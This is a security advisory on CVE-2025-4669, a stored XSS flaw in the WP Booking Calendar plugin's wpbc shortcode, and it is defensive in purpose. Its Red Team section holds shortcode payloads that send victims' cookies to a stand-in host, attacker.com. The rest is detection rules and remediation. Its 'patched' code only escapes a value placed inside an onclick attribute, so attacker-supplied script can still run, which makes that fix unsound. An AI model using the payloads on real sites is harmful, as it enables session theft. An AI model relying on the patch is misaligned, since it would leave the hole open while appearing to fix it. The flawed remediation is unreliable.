CVE-2025-4669

Executive Summary

CVE-2025-4669 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WP Booking Calendar plugin for WordPress, affecting all versions up to and including 10.11.1. The flaw resides in the wpbc shortcode, where user-supplied attributes are insufficiently sanitized and escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

Given the widespread use of this plugin in WordPress ecosystems, the vulnerability poses a significant risk to site integrity and user privacy. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for broad impact due to the stored nature of the payload.

WordPress Ecosystem Context

This vulnerability is specific to the WP Booking Calendar plugin and its wpbc shortcode. It is not related to the underlying web server (Apache/Nginx) or WordPress core. The attack vector relies on the plugin's failure to properly handle user input within shortcode attributes.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Requires Contributor-level access or higher.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., user sessions).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While authentication is required, the stored nature of the XSS means that any user (including admins) visiting the compromised page is affected. This can lead to privilege escalation if an admin's session is hijacked.

Deep Dive & Mechanics

The vulnerability exists in the wpbc shortcode handler. When a user with Contributor-level access or higher creates or edits a post/page, they can insert the [wpbc] shortcode with custom attributes. The plugin fails to properly sanitize and escape these attributes before rendering them in the HTML output.

Attack Flow:

1. An authenticated attacker (Contributor or above) creates a new post or edits an existing one.
2. The attacker inserts the [wpbc] shortcode with a malicious attribute, e.g., [wpbc on_click="alert('XSS')"].
3. The plugin processes the shortcode and outputs the attribute value without proper escaping.
4. When any user (including admins) visits the page, the injected JavaScript executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely uses echo or print directly without applying esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (wpbc shortcode handler):

function wpbc_shortcode_handler($atts) {
    $on_click = $atts['on_click'];
    echo "<div onclick='$on_click'>Click me</div>";
}

Patched Code (hypothetical):

function wpbc_shortcode_handler($atts) {
    $on_click = isset($atts['on_click']) ? esc_js($atts['on_click']) : '';
    echo "<div onclick='" . esc_attr($on_click) . "'>Click me</div>";
}

The patched version uses esc_js() and esc_attr() to ensure that any user-supplied data is safely encoded before being output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Booking Calendar plugin <= 10.11.1.
• An account with Contributor-level access or higher.

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post.
3. Insert the following shortcode into the post content:

   [wpbc on_click="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. Wait for an admin or other user to visit the page. The script will execute, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[wpbc on_click="new Image().src='https://attacker.com/steal?cookie='+document.cookie"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing the [wpbc] shortcode with unusual attributes (e.g., on_click, onmouseover).
• Use Web Application Firewall (WAF) rules to block requests containing suspicious shortcode attributes.

Hardening:

• Immediately update the plugin to a patched version once available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin that monitors for malicious shortcode usage.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie= or document.cookie.
• Unusual Referer headers pointing to pages with [wpbc] shortcode.

Host IOCs:

• Posts or pages containing [wpbc with attributes like on_click, onmouseover, onerror, etc.
• Unexpected JavaScript code in the wpbc shortcode output.
• Modified .htaccess or wp-config.php files (if attacker escalates privileges).

Log IOCs:

• WordPress audit logs showing creation/editing of posts by Contributor accounts with suspicious shortcode.
• Web server logs showing requests to pages with [wpbc] shortcode followed by outbound connections to unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_4669_WP_Booking_Calendar_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Booking Calendar shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4669"
    strings:
        $shortcode = /\[wpbc\s+[^\]]*?(onclick|onmouseover|onerror|onload|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseup|ondblclick|oncontextmenu|onwheel|onpointerdown|onpointermove|onpointerup|onpointerover|onpointerout|onpointerenter|onpointerleave|ongotpointercapture|onlostpointercapture|ontouchstart|ontouchmove|ontouchend|ontouchcancel|onanimationstart|onanimationend|onanimationiteration|ontransitionend|ontransitioncancel|onauxclick|oncancel|onclose|oncopy|oncut|onpaste|ondrag|ondragend|ondragenter|ondragexit|ondragleave|ondragover|ondragstart|ondrop|onerror|oninput|oninvalid|onpointerlockchange|onpointerlockerror|onresize|onscroll|onsecuritypolicyviolation|onseeked|onseeking|onshow|onstalled|onsuspend|ontimeupdate|ontoggle|onvolumechange|onwaiting|onwebkitanimationend|onwebkitanimationiteration|onwebkitanimationstart|onwebkittransitionend|onwheel)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2025-4669 WP Booking Calendar Stored XSS
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via WP Booking Calendar shortcode
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4669
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: '[wpbc'
        cs-uri-query|re: 'on(click|mouseover|error|load|focus|blur|change|submit|reset|select|keydown|keypress|keyup|mousedown|mousemove|mouseout|mouseup|dblclick|contextmenu|wheel|pointerdown|pointermove|pointerup|pointerover|pointerout|pointerenter|pointerleave|gotpointercapture|lostpointercapture|touchstart|touchmove|touchend|touchcancel|animationstart|animationend|animationiteration|transitionend|transitioncancel|auxclick|cancel|close|copy|cut|paste|drag|dragend|dragenter|dragexit|dragleave|dragover|dragstart|drop|error|input|invalid|pointerlockchange|pointerlockerror|resize|scroll|securitypolicyviolation|seeked|seeking|show|stalled|suspend|timeupdate|toggle|volumechange|waiting|webkitanimationend|webkitanimationiteration|webkitanimationstart|webkittransitionend|wheel)='
    condition: selection
falsepositives:
    - Legitimate use of shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4669 WP Booking Calendar Stored XSS Attempt"; flow:to_server,established; content:"[wpbc"; http_uri; pcre:"/\[wpbc\s+[^\]]*?(onclick|onmouseover|onerror|onload|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseup|ondblclick|oncontextmenu|onwheel|onpointerdown|onpointermove|onpointerup|onpointerover|onpointerout|onpointerenter|onpointerleave|ongotpointercapture|onlostpointercapture|ontouchstart|ontouchmove|ontouchend|ontouchcancel|onanimationstart|onanimationend|onanimationiteration|ontransitionend|ontransitioncancel|onauxclick|oncancel|onclose|oncopy|oncut|onpaste|ondrag|ondragend|ondragenter|ondragexit|ondragleave|ondragover|ondragstart|ondrop|onerror|oninput|oninvalid|onpointerlockchange|onpointerlockerror|onresize|onscroll|onsecuritypolicyviolation|onseeked|onseeking|onshow|onstalled|onsuspend|ontimeupdate|ontoggle|onvolumechange|onwaiting|onwebkitanimationend|onwebkitanimationiteration|onwebkitanimationstart|onwebkittransitionend|onwheel)=/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Booking Calendar plugin until a patch is available.
2. Review all posts/pages for suspicious [wpbc] shortcode usage and remove them.
3. Change all user passwords (especially admins) if compromise is suspected.

Long-term Fixes:

• Apply the official patch once released by the vendor.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Enforce the principle of least privilege: restrict Contributor-level access to only trusted users.
• Regularly audit WordPress plugins and themes for known vulnerabilities.

Workaround (if patching is not possible):

• Use a WordPress security plugin that filters shortcode output.
• Manually edit the plugin's shortcode handler to add esc_attr() and esc_js() calls (requires developer skills).

Valters IT